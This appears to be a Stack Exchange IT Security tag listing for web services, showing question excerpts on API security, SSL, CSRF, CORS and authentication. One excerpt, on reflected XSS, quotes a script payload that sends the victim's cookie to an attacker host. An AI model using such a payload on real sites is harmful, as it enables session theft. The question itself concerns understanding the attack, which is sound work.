A web service is application that provides a standard means of interoperating between different software applications, running on a variety of platforms and/or frameworks - typically using HTTP or HTTPS as a transport layer for object and request models (SOAP, REST, JSON, etc). The output isn't ...

learn more… | top users | synonyms

1
vote
1answer
231 views

Is it possible to create secure streaming server

Right now I am thinking for a way to create a secure video streaming server with the following assumption: people can be trusted not to distribute the video they have rights to see. (I think in ...
0
votes
1answer
58 views

Decentralized online shopping service [closed]

Would it be possible to create an online shopping service like Amazon (or Silk Road) but also to make it decentralized so there would no main server users would have to trust with their data? I ...
1
vote
0answers
85 views

Untrusted central server and self-hosted/local client

I am wanting to develop a web service (classic client/server) where the server is not trusted, so is kept (cryptographically) ignorant about the actual content/messages. Obviously, if you don't trust ...
1
vote
2answers
232 views

API - Security design issues

I'm building a GUI Desktop application that will communicate with an API(http) in a webserver. In the client side I have a GUI Desktop application and a GSM Modem(hardware). The GUI Desktop ...
-1
votes
1answer
202 views

Location of server affects the speed of page loading? [closed]

i live in a country but i make a website for another country's users. The web hosting company has server in both of the countries. So where should i buy? Does it affects where the server is depending ...
3
votes
3answers
597 views

What type of SSL certificate do I need for communications between an Android app and a web service?

I am developing a game for Android. The customers using the game will have to send their information to a REST web service that, behind the scenes, will be connected to a MySQL database. I would ...
2
votes
1answer
888 views

Expose web service in a secure manner

Requirement I have a web service I need to expose on the DMZ for external communication. The web service communicates directly with a critical database that sits on an internal net. Current ...
0
votes
1answer
176 views

Does a malicious android WebView break the DoubleSubmittCookie countermeasure against CSRF?

Initial situation: A RESTful webservice defends against CSRF attacks by using the double submit cookie approach. This means that the authentication token gets submitted twice and verified at the ...
1
vote
2answers
184 views

Would multiple exposed bcrypt hashes of the same UUID v4 with random generated salt be too insecure?

I'm looking into implementing an ownership check on JSON objects and want to avoid going back to the database to ensure ownership of said object/record (i.e., to prevent a user from updating an ...
0
votes
3answers
3k views

Malware Suddenly Uploaded To My Website! [duplicate]

This is my first question here on the IT Security section of Stack Exchange, so if there is any problems with my question I apologize. Basics Suddenly Google says that my website contains Malware! ...
1
vote
2answers
4k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
2
votes
2answers
292 views

Web Service Security Checklist - Tracing and Debugging

I have been reading this security checklist about web service design: http://msdn.microsoft.com/en-us/library/ff648304.aspx One of the suggestions is that you should disable the following in ...
4
votes
2answers
929 views

XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
5
votes
1answer
1k views

CSRF prevention for RESTful services

Am I right If I claim on that there doesn't exist any reliable protection against CSRF for a stateles environment today? I have a RESTful service (build with RESTEasy) that needs to be secured against ...
5
votes
1answer
337 views

Is there any risk to enabling CORS with a wildcard on S3?

By default, Amazon S3 blocks cross-origin requests. However, it allows users the ability to set up per-bucket CORS policies. It offers fairly elaborate controls for which domains and methods the user ...
1
vote
2answers
345 views

Web Services and WSDL Documentation Protocol

Let us assume that I have a web service in an ASP.NET project. If I turn off the WSDL documentation protocol, will other users be able to: add a service reference to the web service? discover the ...
5
votes
1answer
278 views

Custom web authentication scheme

For a project at work I'm currently implementing a not too large webservice. For reasons of learning something new I tried making it a REST service, which then prompted the issue of authentication. I ...
3
votes
2answers
2k views

Checking SSL\TLS servers for null encryption support

I have a web server supporting SSL 3 and TLS protocols , the following are the supported cipher suites. TLS_RSA_WITH_RC4_128_MD5 TLS_RSA_WITH_RC4_128_SHA TLS_RSA_WITH_3DES_EDE_CBC_SHA How can i ...
1
vote
1answer
411 views

Web application vs web service security

My question is about the difference between usual security expectations from a web application (intended to browser navigation) vs SOAP web service. For a web application, an acceptable solution for ...
0
votes
2answers
291 views

Securing a web service consumed by chrome extension

I'm trying to think of a good security method to secure a web service consumed by a google extension. As known, google chrome extension's source code is open to anyone. My extension mainly deals with ...
2
votes
1answer
402 views

WSS (WSS4J): cleartext password in UsernameToken vs salted password hash in database

I'm currently struggling a little with the security layer of a web service I'm writing using WSS4J and CXF. We obviously do not wish to store plaintext passwords in our backend, but would prefer to ...
5
votes
3answers
3k views

Are there faux/fake malicious websites to test web reputation services similar to EICAR?

Antivirus writers have agreed for their software to recognize a standard "fake" virus file - the EICAR file, to let users check, that the software is up and running. Are there any equivalent test ...
5
votes
2answers
104 views

Preventing fraudulent access to restriced resource on the web?

I'm working on a web application along with a web API and I've been warned against what seems to be a basic vulnerability: not checking that the user making an action has sufficient privileges on the ...
-3
votes
1answer
393 views

Security of web services (REST & SOAP) [closed]

I'm doing a state of the art on web services security. I need every bit of a solution out there that solves concerns about identification, access control, transmission related ones like data ...
2
votes
1answer
268 views

How to Verify the Identity of the Caller of a Web Service

I have a server which is composed of a page and a web service. The web service is intended to be used by a Windows Phone mobile application that I will develop myself. Now, my question is, how do I ...
8
votes
3answers
610 views

How are large tech sites such as LivingSocial, Zappos, LinkedIn and Evernote hacked?

How are large tech sites such as LivingSocial, Zappos, LinkedIn and Evernote hacked? (i.e. how is their entire dataset of users obtained?) LivingSocial - 50 Million Users Exposed Zappos - 24 Million ...
4
votes
2answers
543 views

How Secure are Authenticity Token in Rails

I came across a website which uses Rails Authenticity token to prevent CSRF attacks. My concern here is that I can see the authenticity token in the source code of the web page. If any other service ...
2
votes
1answer
245 views

User Authentication API

I'm developing a web API for a user database that will be used to verify a given username / password combination is valid. I'm just looking for comments / criticism on the following method that I'm ...
1
vote
2answers
162 views

Question about HTTPS [duplicate]

I have a question about HTTPS, which I need help understanding. So if I type: https://www.facebook.com/FOOBAR and as the connection is encrypted, will someone in the middle (say my ISP or someone who ...
-3
votes
1answer
54 views

What is the notion challenge in authetication? [closed]

Can someone help me what is a challenge in authentication wordbook?
1
vote
4answers
1k views

Task Manager and Keyloggers

I know that some of the best keyloggers can't be viewed from the Task Manager. Where can one see if such keyloggers are running on the system? Will they be in the Windows Services or are they hidden ...
2
votes
1answer
103 views

Best practices for setting up client connections to a server with app credentials

The question title is... ugly to say the least. Here's an overview of what I've got: I work on an online tool. Data is sent to it, it processes the data (an intensive task) and sends results back. ...
2
votes
1answer
150 views

What attacks are most likely against SSL/TLS web service sessionid?

I am implementing a web api with which I plan to authorize access by accepting a username and password and system name and returning a sessionid which can be used on subsequent calls to authorize the ...
3
votes
2answers
330 views

Securing Java web services called by web site in DMZ using web services for communication

Suppose you have an application running Java web services in Apache Axis 2. Specifically, these are JAX-WS (Java API for XML-Based Web Services). Currently these web services are on the same Windows ...
1
vote
1answer
847 views

iOS auth/auth with a REST Webservice

we're currently in the design phase of a new "Gateway-Server" which we want to develop. Our server has a REST-Service. My task is to find viable options to protect the access to the aforementionend ...
0
votes
2answers
98 views

Why do services like Twitter have tokens and secrets for 3rd party apps?

I noticed that if you have a 3rd-party Twitter app, you get an access token, and an access token secret, to communicate with Twitter. Why are there two codes? Shouldn't one be enough? Does this mean ...
4
votes
1answer
1k views

Is there cryptographic material in a phone's SIM card that can be used with RSA encryption?

Given that a smart card stores a private key that can't be extracted, it appears that a SIM card is similar to a smart card in these respects. I need to store (or use an existing) private key on a ...
5
votes
3answers
2k views

web services: how prevent illegal accesses

As suggested by someone I post a question here (for the first time). I'm using web services from an Android application. I use https (I bought a SSL certificate). I want to prevent unwanted accesses ...
1
vote
4answers
290 views

Tracking a user who has posted abusive messages

A visitor to our site has posted abusive messages and I wish to block them but I'm not sure there's much I can do besides blocking their IP address (and even that won't help much). After analysing ...
4
votes
3answers
285 views

February 7th 2013 Facebook integration error implications [duplicate]

What are the security, privacy, and overall availability implications of the Facebook event (link) yesterday? I was astonished to see site after site being redirected to a Facebook error page last ...
-1
votes
4answers
150 views

Is there any way to know the contact email on a contact form? [closed]

When a website has a contact form where the email isn't shown, is there any possible way of know to which email is the contact form sending the message?
0
votes
1answer
113 views

Securing the SOAP Messages

One of my clients wants to encrypt few sensitive information which will be transferred through webservices / SOAP. My client has the following suggestions: Encrypt the sensitive data with AES ...
0
votes
2answers
266 views

Denial Of Service attack in asynchronous communication

Is Low rate DOS attack (unintended) possible through asynchronous communication? Consider this scenario: I have a client server application were there is a WAN communication between the client and ...
1
vote
3answers
369 views

RSS Feeds: restrict access

"We are a bunch of journalists and we share much of the information via e-mails. This has become tedious now. Hence we found out a way to share, by just having to share our private blog posts via ...
1
vote
1answer
985 views

How does a developer interact with Microsoft Certificate *Web Services*

Microsoft Certificate Web Services is a HTTPS web service (WS-Trust) that has no Kerberos dependency and can be used on a variety of devices. This is new in Windows 2008 and is separate from the ...
3
votes
2answers
373 views

Should the Keygen element be used to create a certificate for mutual auth TLS? What alternatives are there?

I'm interested in using mutual auth TLS to improve the security of my javascript based webservices . I've looked at the Keygen element and given all its issues, not sure if this can even be used for ...
1
vote
2answers
128 views

How do private feeds get transferred between two different portals?

I have some doubts about how the RSS private feeds, get transferred between one portal to another. The whole point is to allow private RSS feeds to be consumed by external clients, and in 99% of ...
6
votes
2answers
337 views

Safe YAML parser?

I've recently read that YAML was not "designed to handle malicious user input", because a malicious YAML input "can create instances of all classes defined in the targeted Rails application". ...
4
votes
4answers
2k views

Why would someone want to encrypt RSS feeds?

I heard the idea of encrypting the RSS feeds using public key encryption system from someone and since then I am intrigued by the idea. But then I started to wonder what would be the basic need for ...
1
vote
2answers
906 views

How do I holistically protect a web service from network and MITM attacks?

I have several financial web services that are accessed over HTTPS, however the client devices may be accessing the web services over untrusted WiFi, through questionable proxies, and possibly ToR ...